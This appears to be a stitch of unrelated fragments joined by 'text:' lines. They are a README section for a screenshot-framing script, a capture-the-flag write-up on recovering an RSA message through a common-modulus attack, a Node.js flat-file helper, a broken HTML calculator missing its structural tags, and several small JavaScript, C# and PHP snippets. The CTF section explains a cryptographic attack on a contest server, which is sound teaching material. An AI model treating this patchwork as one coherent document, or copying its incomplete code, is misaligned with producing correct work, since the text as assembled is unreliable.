| padding | The content of the framed screenshot will be resized to match the specified `padding` around all edges. The vertical padding is also applied between the text and the top or bottom (depending on `title_below_image`) of the device frame. There are 3 different options of specifying the padding:

 1. Default: An integer value that defines both horizontal and vertical padding in pixels.

  2. A string that defines (different) padding values in pixels for horizontal and vertical padding. The syntax is  `"<horizontal>x<vertical>"`, e.g.  `"30x60"`.

 3. A string that defines (different) padding values in percentage for horizontal and vertical padding. The syntax is  `"<horizontal>%x<vertical>%"`, e.g.  `"5%x10%"`.

 **Note:**  The percentage is calculated from the smallest image dimension (height or width). A combination of option 2 and 3 is possible, e.g.  `"5%x40"`. |
| fonts | An object that specifies the fonts to be used for each language. Each entry is keyed by the `language` and the value is a string that represents the file name of the font. The font specified should be inside the `fonts` folder. e.g.

 `{ 'en': 'Segoe-UI.ttf', 'ar': 'Amiri-Regular.ttf' }`  |
|frame|An object that specifies the device frames that will be used for each platform. The keys for this object are: `android`, `ios 5.5`, `ios 6.5`. Possible values for each platform:

 `android`: Huawei P8, Motorola Moto E, Motorola Moto G, Nexus 4, Nexus 5X, Nexus 6P, Nexus 9, Samsung Galaxy Grand Prime, Samsung Galaxy Note 5, Samsung Galaxy S Duos, Samsung Galaxy S3, Samsung Galaxy S5,  Samsung Galaxy S7, Samsung Galaxy S8, Samsung Galaxy S9, Google Pixel 3, Google Pixel 3 XL, HTC One A9, HTC One M8

 `ios`: iPhone 5s, iPhone 5c, iPhone SE, iPhone 6s, iPhone 6s Plus, iPhone 7, iPhone 7 Plus, iPhone 8, iPhone 8 Plus, iPhone X, iPhone XS, iPhone XR, iPhone XS Max
|screenshots|An array of objects that contains the information on how an image will be used for the previews. See below table that describes the properties of a screenshot entry.|

## **Screenshot entry definition**

| key |description  |
|--|--|
| key | A mandatory entry to link the individual configuration to the screenshot, based on part of the file name.
Example:
If a screenshot is named `iPhone 8-Brainstorming.png`, you can use value `Brainstorming` for `key`. If there are more than one `key` matching an entry, they will all be applied in order (which means that the last one has the highest precedence). All other keys from that array element will only be applied on this specific screenshot.|
|show_complete_frame|Specifies whether _frameit_ should shrink the device frame so that it is completely shown in the framed screenshot. If it is false, clipping of the device frame might occur at the bottom (when `title_below_image` is `false`) or top (when `title_below_image` is `true`) of the framed screenshot.|
|has_title|An optional entry that indicates if the preview should be generated with a title.|
|title_below_image|Specifies whether _frameit_ should place the title below the device frame. If it is false, it will be placed above the device frame. Default value is `false`.|

## Folder Structure

The tree structure below is an example directory to successfully generate the screenshots. The string files should reside in the same directory with `frame_screens.js` and `config.json` .

The `fonts` folder contains the font files that will be used for the preview images.

As you can tell, the different images for each platform are defined by the `android`, `ios 5.5` and `ios 6.5` folders. Inside each platform directory are the different language directories (e.g. `en`, `ar` )  to differentiate the language specific screenshots. The script will not generate a preview image for the language directory if no matching `strings` file is found in the root directory.
```
.
+-- frame_screens.js
+-- config.json
+-- background.png
+-- en.strings
+-- ar.strings
+-- android
|   +-- en
|   |   +-- Android - English - Welcome.png
|   |   +-- Android - English - Recommendation.png
|   +-- ar
|   |   +-- Android - Arabic - Welcome.png
|   |   +-- Android - Arabic - Recommendation.png
+-- ios 5.5
|   +-- en
|   |   +-- Ios 5.5 - English - Welcome.png
|   |   +-- Ios 5.5 - English - Recommendation.png
|   +-- ar
|   |   +-- Ios 5.5 - Arabic - Welcome.png
|   |   +-- Ios 5.5 - Arabic - Recommendation.png
+-- ios 6.5
|   +-- en
|   |   +-- Ios 6.5 - English - Welcome.png
|   |   +-- Ios 6.5 - English - Recommendation.png
|   +-- ar
|   |   +-- Ios 6.5 - Arabic - Welcome.png
|   |   +-- Ios 6.5 - Arabic - Recommendation.png
+-- fonts
|   +--Segoe-Ui.ttf
|   +--Amiri-Regular.ttf
```

## Title
The `strings` files are where the localized titles are defined. The filename of a  `strings` file should match the language directory name. For example, the `android/ko/` folder will use the `ko.strings` for the titles.

The script will not generate preview images for a language directory if there are no matching `strings` file found.

## Notes
 - Generating `strings` file is a bit challenging so we may just want to consider using an app like: [https://poeditor.com/projects/](https://poeditor.com/projects/)
 - *frameit* does not automatically apply line breaks on titles. To apply multi-line titles, a newline character `\n` is needed for each title entry inside the `strings.file`.  `frameit` will squeeze the title into one line if no newline character is found. It will also possibly shrink the text depending on the padding.

 For example:
```
"RECOMMENDATIONS" = "Get recommendations\n based on your situation";
"OPTIONAL" = "Optional questions to find\nyour most relevant information";
"FIND" = "Find helpful\n services nearby";
"KEEP" = "Keep track of what\n you need to do next";
```


text:
layout: post
title: "ASIS 2015 Finals: Honeywall (crypto250)"
modified: 2015-10-15
tags: asis asis2015finals crypto
---

*This challenge was solved by and the write up was written by one of my teammates, NGG.*

There was a server on which there was a message and there were about 1300 users (My solution used only one).

When a client connected to the server a random prime was generated (e <= 65537).

Each user had a modulus (N).

There were two permitted operations:

 - GET(user_id, msg_id): the server replied with ```[N_{user_id}, (msg_{msg_id}**e) % N_{user_id}]```
 - ADD(user_id, new_msg): the server replied with ```[N_{user_id}, (new_msg**e) % N_{user_id}]```

The task was to recover msg_0.

Solution:

 - ADD some random message m to user_0. We can simply bruteforce e by raising our message to every possible power.
 - GET msg_0 with user_0, this way we know e and c = (msg_0**e) % N_0
 - Reconnect to the server (this generates a new e2), and repeat the previous steps to get e2 and ```c2 = (msg_0**e2) % N_0```
 - Find x and y integers such that x*e + y*e2 = 1 (with the Extended Euclidean Algorithm)
 - Calculate ```(c**x * c2**y) % N_0``` = ```(msg_0**(e*x) * msg_0**(e2*y)) % N_0``` = ```(msg_0**(e*x+e2*y)) % N_0``` = ```msg_0 % N_0 = msg_0```
 - msg_0 contained the flag.


text:
/**
 *  Just writing flatfiles to the local directory
 *  All the helper functions to Read, Write
 */

const fs = require('fs')
const path = require('path')

function database() {

    const encoding = 'utf8'
    const pathToData = path.join(__dirname)

    let filesInUse = []

    function inUse(filename) {
        for (i=0; i < filesInUse.length; i++) {
            if (filesInUse[i] === filename) {
                return true
            }
        }
        return false
    }

    function getPositionFromFilename(filename) {
        for (i=0; i < filesInUse.length; i++) {
            if (filesInUse[i] === filename) {
                return i
            }
        }
        throw new Error('Filename not found in array')
    }

    function lock(filename, callback) {
        if (inUse(filename)) {
            return callback(true)
        }
        filesInUse.push(filename)
        callback(false)
    }

    function unlock(filename) {
        let locationInArray = getPositionFromFilename(filename)
        if (locationInArray === false) {
            throw new Error('File read or write without locking - data may be corrupt')
        }
        // Remove value
        filesInUse.splice(locationInArray, 1)
    }

    function read(filename, folder, callback) {

        // Check if in use
        lock(filename, canAccessFile)

        // If in use error out, else read file
        function canAccessFile(fileInUse) {
            if (fileInUse) {
                return callback('File in use')
            }
            fs.readFile(`${pathToData}/${folder}/${filename}.json`, encoding, (err, readFileData) => {
                // Error in fs call
                if (err) {
                    unlock(filename)
                    return callback(err)
                }
                // Free file for use
                unlock(filename)
                return callback(false, readFileData)
            })
        }
    }

    // If in use error out, else write file
    function write(filename, jsonToWrite, folder, callback) {

        // Check if in use
        lock(filename, canAccessFile)

        function canAccessFile(fileInUse) {
            if (fileInUse) {
                return callback('File in use')
            }
            fs.writeFile(`${pathToData}/${folder}/${filename}.json`, jsonToWrite, encoding, (err) => {
                // Error in fs call
                if (err) {
                    unlock(filename)
                    return callback(err)
                }
                // Free file for use
                unlock(filename)
                return callback(false)
            })
        }
    }

    return {
        read: read,
        write: write
    }

}

module.exports = database


text:
<!DOCTYPE html>

		<meta charset="UTF-8">
		<title></title>

      <input type="text" id="screenName" name="screenName" class="screen" value="" onfocus="jsq(this)">

    <input type="button" id="C" onclick="clearNum()" value="C" class="buttons">
    	  <input type="button" id="00" onclick="jsq(this.id)" value="00" class="buttons">
    <input type="button" id="%" onclick="jsq(this.id)" value="%" class="buttons">

    <input type="button" id="Back" onclick="tuiGe()" value="Back" class="buttons">

    	 <input type="button" id="7" onclick="jsq(this.id)" value="7" class="buttons">

    <input type="button" id="4" onclick="jsq(this.id)" value="4" class="buttons">
    <input type="button" id="5" onclick="jsq(this.id)" value="5" class="buttons">
    <input type="button" id="6" onclick="jsq(this.id)" value="6" class="buttons">
    <input type="button" id="*" onclick="jsq(this.id)" value="*" class="buttons">
    <input type="button" id="/" onclick="jsq(this.id)" value="/" class="buttons">

    <input type="button" id="1" onclick="jsq(this.id)" value="1" class="buttons">
    <input type="button" id="2" onclick="jsq(this.id)" value="2" class="buttons">
    <input type="button" id="3" onclick="jsq(this.id)" value="3" class="buttons">
    <input type="button" id="+" onclick="jsq(this.id)" value="+" class="buttons">
    <input type="button" id="-" onclick="jsq(this.id)" value="-" class="buttons">

    <input type="button" id="0" onclick="jsq(this.id)" value="0" class="buttons">
   <input type="button" id="8" onclick="jsq(this.id)" value="8" class="buttons">

    <input type="button" id="." onclick="jsq(this.id)" value="." class="buttons">

    	<input type="button" id="9" onclick="jsq(this.id)" value="9" class="buttons">

    <input type="button" id="eva" onclick="eva()" value="=" class="buttons">

    欢迎使用JavaScript计算器


text:
/**
 * @fileoverview Description of this file.
 */
import {Services} from '#service';
/**
 * Runs a delay after deferring to the event loop. This is useful to call from
 * within an animation frame, as you can be sure that at least duration
 * milliseconds has elapsed after the animation has started. Simply waiting
 * for the desired duration may result in running code before an animation has
 * completed.
 * @param {!Window} win A Window object.
 * @param {number} duration How long to wait for.
 * @return {!Promise} A Promise that resolves after the specified duration.
 */
export function delayAfterDeferringToEventLoop(win, duration) {
  // TODO(spaharmi): generalize this to work outside requestAnimationFrame
  // and move function to src/timer-impl.js
  const timer = Services.timerFor(win);
  // Timer.promise does not defer to event loop for 0.
  const eventLoopDelay = 1;
  // First, defer to the JavaScript execution loop. If we are in a
  // requestAnimationFrame, this will place us after render. Second, wait
  // for duration to elapse.
  return timer.promise(eventLoopDelay).then(() => timer.promise(duration));
}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace RPM.ApiResults
{
    class ProcFormsResult
    {
        public string Process { get; set; }
        public int ProcessID { get; set; }
        public string View { get; set; }
        public List<string> Columns { get; set; }
        public List<ProcForm> Forms { get; set; }
    }
}


text:
function with_annotations() {
  if (document.getElementById('include_annotations').checked) {
    document.getElementById('download_zip').value = 'true';
  } else {
    document.getElementById('download_zip').value = 'false';
  }
}


text:
<?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'WorldText\\WorldText' => $baseDir . '/src/WorldText.php',
    'WorldText\\WorldTextAdmin' => $baseDir . '/src/WorldTextAdmin.class.php',
    'WorldText\\WorldTextGroup' => $baseDir . '/src/WorldTextGroup.class.php',
    'WorldText\\WorldTextSms' => $baseDir . '/src/WorldTextSms.class.php',
    'WorldText\\wtException' => $baseDir . '/src/wtException.php',
);